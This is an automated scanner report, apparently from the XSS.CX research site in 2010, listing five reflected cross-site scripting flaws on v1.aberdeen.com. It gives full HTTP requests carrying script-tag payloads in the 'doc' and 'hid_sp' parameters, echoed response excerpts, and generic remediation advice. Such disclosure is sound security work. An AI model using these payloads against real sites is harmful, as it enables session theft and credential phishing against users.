Report generated by XSS.CX at Wed Nov 24 19:09:14 CST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

Contents

Loading

1. Cross-site scripting (reflected)

1.1. http://v1.aberdeen.com/2-0/authenticate/ [doc parameter]

1.2. http://v1.aberdeen.com/2-0/authenticate/ [doc parameter]

1.3. http://v1.aberdeen.com/2-0/confirm/fastpass_success.asp [doc parameter]

1.4. http://v1.aberdeen.com/2-0/confirm/fastpass_success.asp [doc parameter]

1.5. http://v1.aberdeen.com/launch/report/benchmark/6740-RA-application-scanning-security.asp [hid_sp parameter]


1. Cross-site scripting (reflected)
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://v1.aberdeen.com/2-0/authenticate/ [doc parameter]  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://v1.aberdeen.com
Path:   /2-0/authenticate/

Issue detail

The value of the doc request parameter is copied into a JavaScript rest-of-line comment. The payload fcdd5%0a7c4a4ef5202 was submitted in the doc parameter. This input was echoed as fcdd5
7c4a4ef5202 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /2-0/authenticate/?uid=1424112010RshF8mhwbF&doc=fcdd5%0a7c4a4ef5202&spid=&camp=&lan=US HTTP/1.1
Host: v1.aberdeen.com
Proxy-Connection: keep-alive
Referer: http://vault.aberdeen.com/confirm/membership.aspx?type=new&uid=1424112010RshF8mhwbF&doc=&spid=&camp=&lan=US
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=191868538.1290626139.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=191868538.1535933327.1290626139.1290626139.1290626139.1; __utmc=191868538; __utmb=191868538.2.10.1290626139

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Date: Wed, 24 Nov 2010 22:33:50 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: ASPSESSIONIDAQRRSQQD=HPIAHDACHKIMEKHCKCEBEKBP; path=/
Vary: Accept-Encoding
Content-Length: 3802

<!--2.0-->
<!-- begin Aberdeen page -->
<!--include virtual="/Connections/AberdeeenDB.asp" -->

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...
ss page to the chosen report's summary page ONLY in the special case! Added by Jason Priddy 3/14/2008
function RedirectThisPageToSummaryPage() {
   //window.location.href = "/summary/report/benchmark/fcdd5
7c4a4ef5202"
}
//-->
...[SNIP]...
1.2. http://v1.aberdeen.com/2-0/authenticate/ [doc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://v1.aberdeen.com
Path:   /2-0/authenticate/

Issue detail

The value of the doc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab5da"><script>alert(1)</script>c18d1dc547a was submitted in the doc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /2-0/authenticate/?uid=1424112010RshF8mhwbF&doc=ab5da"><script>alert(1)</script>c18d1dc547a&spid=&camp=&lan=US HTTP/1.1
Host: v1.aberdeen.com
Proxy-Connection: keep-alive
Referer: http://vault.aberdeen.com/confirm/membership.aspx?type=new&uid=1424112010RshF8mhwbF&doc=&spid=&camp=&lan=US
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=191868538.1290626139.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=191868538.1535933327.1290626139.1290626139.1290626139.1; __utmc=191868538; __utmb=191868538.2.10.1290626139

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Date: Wed, 24 Nov 2010 22:33:48 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: ASPSESSIONIDAQRRSQQD=EPIAHDACBHGGCLAIBBBAJBKL; path=/
Vary: Accept-Encoding
Content-Length: 3855

<!--2.0-->
<!-- begin Aberdeen page -->
<!--include virtual="/Connections/AberdeeenDB.asp" -->

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...
<form method="post" name="login_form" action="ab5da"><script>alert(1)</script>c18d1dc547a?lan=US">
...[SNIP]...
1.3. http://v1.aberdeen.com/2-0/confirm/fastpass_success.asp [doc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://v1.aberdeen.com
Path:   /2-0/confirm/fastpass_success.asp

Issue detail

The value of the doc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d2e5"><script>alert(1)</script>27305a59a39 was submitted in the doc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2-0/confirm/fastpass_success.asp?doc=/launch/report/benchmark/6740-RA-application-scanning-security.asp3d2e5"><script>alert(1)</script>27305a59a39&spid=&camp=&lan= HTTP/1.1
Host: v1.aberdeen.com
Proxy-Connection: keep-alive
Referer: http://www.aberdeen.com/Aberdeen-Library/6740/RA-application-scanning-security.aspx
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=191868538.1290626139.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASPSESSIONIDAQRRSQQD=ELHAHDACMMOJBFLPHIJJGLEK; __utma=191868538.1535933327.1290626139.1290626139.1290626139.1; __utmc=191868538; __utmb=191868538.14.10.1290626139

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Wed, 24 Nov 2010 22:33:29 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Content-Length: 3987

<!--2.0-->
<!-- begin Aberdeen page -->
<!--include virtual="/Connections/AberdeeenDB.asp" -->

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...
<form method="post" name="login_form" action="/launch/report/benchmark/6740-RA-application-scanning-security.asp3d2e5"><script>alert(1)</script>27305a59a39?lan=US">
...[SNIP]...
1.4. http://v1.aberdeen.com/2-0/confirm/fastpass_success.asp [doc parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://v1.aberdeen.com
Path:   /2-0/confirm/fastpass_success.asp

Issue detail

The value of the doc request parameter is copied into a JavaScript rest-of-line comment. The payload 988c3%0a7ccf96d7201 was submitted in the doc parameter. This input was echoed as 988c3
7ccf96d7201 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /2-0/confirm/fastpass_success.asp?doc=/launch/report/benchmark/6740-RA-application-scanning-security.asp988c3%0a7ccf96d7201&spid=&camp=&lan= HTTP/1.1
Host: v1.aberdeen.com
Proxy-Connection: keep-alive
Referer: http://www.aberdeen.com/Aberdeen-Library/6740/RA-application-scanning-security.aspx
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=191868538.1290626139.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASPSESSIONIDAQRRSQQD=ELHAHDACMMOJBFLPHIJJGLEK; __utma=191868538.1535933327.1290626139.1290626139.1290626139.1; __utmc=191868538; __utmb=191868538.14.10.1290626139

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Wed, 24 Nov 2010 22:33:29 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Content-Length: 3975

<!--2.0-->
<!-- begin Aberdeen page -->
<!--include virtual="/Connections/AberdeeenDB.asp" -->

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...
ge ONLY in the special case! Added by Jason Priddy 3/14/2008
function RedirectThisPageToSummaryPage() {
   //window.location.href = "/summary/report/benchmark/6740-RA-application-scanning-security.asp988c3
7ccf96d7201"
}
//-->
...[SNIP]...
1.5. http://v1.aberdeen.com/launch/report/benchmark/6740-RA-application-scanning-security.asp [hid_sp parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://v1.aberdeen.com
Path:   /launch/report/benchmark/6740-RA-application-scanning-security.asp

Issue detail

The value of the hid_sp request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a5c3"><script>alert(1)</script>a98bdf2c854 was submitted in the hid_sp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /launch/report/benchmark/6740-RA-application-scanning-security.asp?lan=US HTTP/1.1
Host: v1.aberdeen.com
Proxy-Connection: keep-alive
Referer: http://v1.aberdeen.com/2-0/confirm/fastpass_success.asp?doc=/launch/report/benchmark/6740-RA-application-scanning-security.asp&spid=&camp=&lan=
Cache-Control: max-age=0
Origin: http://v1.aberdeen.com
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=191868538.1290626139.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASPSESSIONIDAQRRSQQD=ELHAHDACMMOJBFLPHIJJGLEK; __utma=191868538.1535933327.1290626139.1290626139.1290626139.1; __utmc=191868538; __utmb=191868538.14.10.1290626139
Content-Length: 85

ci=%2Flaunch%2Freport%2Fbenchmark%2F6740-RA-application-scanning-security.asp&hid_sp=5a5c3"><script>alert(1)</script>a98bdf2c854

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Wed, 24 Nov 2010 22:33:40 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Content-Length: 2814


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" style="height: 100%">
<head>
...[SNIP]...
<area shape="rect" coords="415,23,536,47" href="http://vault.aberdeen.com/public/forward-to-friend/?doc=/launch/report/benchmark/6740-RA-application-scanning-security.asp&spid=5a5c3"><script>alert(1)</script>a98bdf2c854" target="_blank" alt="Return to Aberdeen" />
...[SNIP]...
Report generated by XSS.CX at Wed Nov 24 19:09:14 CST 2010.